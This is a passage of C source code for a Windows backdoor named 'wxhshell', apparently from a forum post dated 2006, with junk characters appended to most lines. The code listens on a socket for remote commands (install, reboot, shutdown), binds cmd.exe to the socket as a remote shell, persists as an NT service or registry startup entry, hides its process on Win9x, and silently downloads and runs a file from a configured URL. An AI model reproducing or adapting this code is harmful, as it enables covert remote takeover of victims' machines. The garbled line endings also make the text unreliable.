      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S81% iz.n  
    break; K|,P  
  } EmNJ_xY  
  // 安装 wI8  
  case 'i': { b+Vfi9<  
    if(Install()) l25_J.e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KSDz3qe  
    else p!B& &)&db  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q!iTDg*$  
    break; gB|>[6  
    } Q]$gw,H"6  
  // 卸载 w"ZngrwBl  
  case 'r': { m#1 >y}  
    if(Uninstall())  bi/ AQ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E)sC:oO  
    else .j^tFvN~L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !l NCuR/T  
    break; @n2Dt d  
    } ,2oFt\`.r  
  // 显示 wxhshell 所在路径 7>.d*?eao\  
  case 'p': { TWE>"8]  
    char svExeFile[MAX_PATH]; [x{z}rYH  
    strcpy(svExeFile,"\n\r"); " GRR,7A  
      strcat(svExeFile,ExeFile); ;>hRj!  
        send(wsh,svExeFile,strlen(svExeFile),0); gxnIur)  
    break; X1* f#3cm#  
    } WbJ|]}hJ\  
  // 重启 +@], JlYf  
  case 'b': { X* 4C?v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]2E#P.-!b  
    if(Boot(REBOOT)) Z9wKjxu+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $, hHR:  
    else { =&T%Jm}  
    closesocket(wsh); n( RQre  
    ExitThread(0); /cHUqn30a  
    } {%wF*?gk  
    break; TOT#l6yqdd  
    } u ,R R|/@  
  // 关机 .*}!XKp0j  
  case 'd': { ,3XlX(P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AQ%B&Q(V1  
    if(Boot(SHUTDOWN)) elJ?g &"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i~3\jD=<  
    else { K_! R   
    closesocket(wsh); t=nZ1GZyM  
    ExitThread(0); L|hELWru  
    } ZLDO&}  
    break; M mmg3%G1  
    } e"#QUc(  
  // 获取shell p=!12t  
  case 's': { -kF8ZF  
    CmdShell(wsh); bv^wE,+?o  
    closesocket(wsh); MJ"@  
    ExitThread(0); `cQAO1-5  
    break; v6U Gr4  
  } Q~R%|Q{&  
  // 退出 k"3@ G?JY  
  case 'x': { LZtO Q__B)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }j$tFFVi~  
    CloseIt(wsh); 4A0v>G`E*#  
    break; d\ I6Wn  
    } 3AcS$.G  
  // 离开 "D,}|  
  case 'q': { e0<Wed  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z0H+Or  
    closesocket(wsh); / Q| Z&-c  
    WSACleanup(); A$g'/QM  
    exit(1); 7}1Z7"?  
    break; !'eh@BU;  
        } |.KB  
  } 4wKQs&:  
  } frokl5L@  
`]`S"W7&  
  // 提示信息 r^7eK)XA_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1B#iJZ}  
} VS\| f'E  
  } (: P#l&f  
mEmgr(W  
  return; wP7 E8'  
} aX,6y1  
I`77[  
// shell模块句柄 6d`qgEM3  
int CmdShell(SOCKET sock) NQxx_3*4O  
{ SoWMP2/  
STARTUPINFO si; $."D OZQ3U  
ZeroMemory(&si,sizeof(si)); +[ng99p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "8p<NsU   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0.S7uH%"  
PROCESS_INFORMATION ProcessInfo; 2]y Hxo/6  
char cmdline[]="cmd"; \JC_"gqt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C|V5@O?;&  
  return 0; X?YT>+g;  
} jR9;<qT/  
7g5Pc_  
// 自身启动模式 #qu;{I#W3  
int StartFromService(void) n&!q9CR`  
{ Mtl`A'KQ/K  
typedef struct Ei<m/v  
{ ^RE[5h6^q  
  DWORD ExitStatus; v^J']p  
  DWORD PebBaseAddress; p"7]zq]'  
  DWORD AffinityMask; xS(VgP&YGO  
  DWORD BasePriority; n%;4Fm?  
  ULONG UniqueProcessId; LSR0yCU  
  ULONG InheritedFromUniqueProcessId; /2''EF';  
}   PROCESS_BASIC_INFORMATION; Es- =0gpK  
;?q-]J?  
PROCNTQSIP NtQueryInformationProcess; n<P&|RTZ  
Q;ZV`D/FA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GTi=VSGqF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XqU0AbQ  
DR @yd,  
  HANDLE             hProcess; ly69:TR7I  
  PROCESS_BASIC_INFORMATION pbi; 1,:QrhC  
fRxn,HyV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )gz]F_  
  if(NULL == hInst ) return 0; D^xg2D  
qu.AJ*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G5|'uKz2"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yRi5t{!V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .:XXc  
DxD\o+:r  
  if (!NtQueryInformationProcess) return 0; ]heVR&bQ  
^?_MIS`4N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OLWn0  
  if(!hProcess) return 0; P'SGt  
} @ [!%hE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 03A QB;.  
\vx'+}  
  CloseHandle(hProcess); OJ7 Uh_;/  
>sdF:(JV&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lKf kRyO_S  
if(hProcess==NULL) return 0; 8QMMKO ui\  
m^zD']  
HMODULE hMod; qW*k|;S  
char procName[255]; #V)l>  
unsigned long cbNeeded; FRL;fF  
X40JCQx{+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q"Exmn3p  
I FvigDj?  
  CloseHandle(hProcess); 9=FH2|Z  
-7XaS&.4  
if(strstr(procName,"services")) return 1; // 以服务启动 eoFG$X/PO  
WZjR^ 6  
  return 0; // 注册表启动 ZFh[xg'0  
} ,<C~DSAyZ  
Bio QV47B  
// 主模块 `9k\~D=D~  
int StartWxhshell(LPSTR lpCmdLine) B qINU  
{ ' R2*3<  
  SOCKET wsl; ~[kI! [  
BOOL val=TRUE; J*zQ8\f=}  
  int port=0; [h_d1\ Cr  
  struct sockaddr_in door; *3h_'3yo@  
tR 4+]K  
  if(wscfg.ws_autoins) Install(); 6mIeV0Q'  
Y9 Bk$$#\  
port=atoi(lpCmdLine); YE:5'@Z  
9. ,IqnP  
if(port<=0) port=wscfg.ws_port; bdvpH DA  
uKTYb#E7  
  WSADATA data; &|h9L'mr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !s ! el;G  
k nzo6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9 &Ry51  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oA:`=f%\  
  door.sin_family = AF_INET; <[T{q |*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ef@)y&hn  
  door.sin_port = htons(port); &LG|YvMY6  
>]A#_p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xX0 wn?,~  
closesocket(wsl); n 4co s  
return 1; gxJ12' m  
} b7">IzAe  
}IdkXAB.  
  if(listen(wsl,2) == INVALID_SOCKET) { ynf!1!4  
closesocket(wsl); (]VY==t~  
return 1; ay`R jT  
} [\%a7ji#  
  Wxhshell(wsl); Z N&9qw*  
  WSACleanup(); t0?t Xe.B  
bPkz=^-  
return 0; g $^Yv4  
>5TXLOYZ  
} %Na` \`L{F  
d/@P;YN!  
// 以NT服务方式启动 9l|*E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d+5v[x~'  
{ ;!7M<T$&  
DWORD   status = 0; m;TekJXm  
  DWORD   specificError = 0xfffffff; &' y}L'  
W59xe&l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T-x9IoE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W[e2J&G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e? |4O< @  
  serviceStatus.dwWin32ExitCode     = 0; W'Y(@  
  serviceStatus.dwServiceSpecificExitCode = 0; 6\VZ 6oS  
  serviceStatus.dwCheckPoint       = 0; `D$RL*C;M`  
  serviceStatus.dwWaitHint       = 0; *iyc,f^w  
/YvwQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6(Ntt  
  if (hServiceStatusHandle==0) return; \J;]g\&I"  
=.) :tGDp  
status = GetLastError(); G c ,  
  if (status!=NO_ERROR) 9Sa6v?sRor  
{ <^942y-=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3;!!`R>e  
    serviceStatus.dwCheckPoint       = 0; a1QW0d  
    serviceStatus.dwWaitHint       = 0; F[)tg#}@G  
    serviceStatus.dwWin32ExitCode     = status; F ^m;xy  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZXIz.GFy+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I= cayR  
    return; FJ{&R Ld  
  } jz>b>;  
Mp[2Auf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; */|<5X;xIA  
  serviceStatus.dwCheckPoint       = 0; 41Ab,  
  serviceStatus.dwWaitHint       = 0; b?, =|H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QR<<O  
} Ht]O:io`  
yb0Mn*X+ N  
// 处理NT服务事件,比如:启动、停止 |8)\8b|VuC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h}DKFrHW;-  
{ Q]$pg5O  
switch(fdwControl) <,U$Y>  
{ s3K!~v\L]  
case SERVICE_CONTROL_STOP: O.8k [Ht  
  serviceStatus.dwWin32ExitCode = 0; VtGZB3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "3_GFq  
  serviceStatus.dwCheckPoint   = 0;  7mtg  
  serviceStatus.dwWaitHint     = 0; R D?52\  
  { k[@/N+;")`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ::-*~CH)  
  } n?9FJOqi  
  return; :-(qqC:  
case SERVICE_CONTROL_PAUSE: 2R;#XmKS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :sA UV79M  
  break; rfr]bq5  
case SERVICE_CONTROL_CONTINUE: M)H*$!x}>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #qK5i1<  
  break; Y_~otoSoY  
case SERVICE_CONTROL_INTERROGATE: 8PWEQ<ev7>  
  break; aY6F4,7/B  
}; 2zuQeFsK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @3S:W2k  
} iqN?'8  
/Ba/gq0j  
// 标准应用程序主函数 I8YCXh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .>LJ(Sx9b  
{ OGG9f??  
}XqC'z  
// 获取操作系统版本 o%0To{MAF-  
OsIsNt=GetOsVer(); $\M];S=CY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _6g(C_m'T?  
 _~S[  
  // 从命令行安装 @Y}G,i  
  if(strpbrk(lpCmdLine,"iI")) Install(); /w2-Pgm-[\  
JY~CMR5#.O  
  // 下载执行文件 KleiX7  
if(wscfg.ws_downexe) { #Jr4LQ@A9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^MG"n7)X  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yb1Q6[!  
} mU.c!|Y  
\0&F'V  
if(!OsIsNt) { rZE+B25T~  
// 如果时win9x,隐藏进程并且设置为注册表启动 x0)WrDb  
HideProc(); Y%>u.HzL  
StartWxhshell(lpCmdLine); LC\U6J't1  
} 77ztDQDtM  
else nlaW$b{=  
  if(StartFromService()) i4XiwjCHN  
  // 以服务方式启动  M+:9U&>  
  StartServiceCtrlDispatcher(DispatchTable); \xQu*M:!  
else z%\&n0  
  // 普通方式启动 $dA]GWW5A  
  StartWxhshell(lpCmdLine); xn,9Wj-  
v *`M3jb  
return 0; JV_VM{w{K  
}
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只看该作者 1 发表于: 2006-10-10
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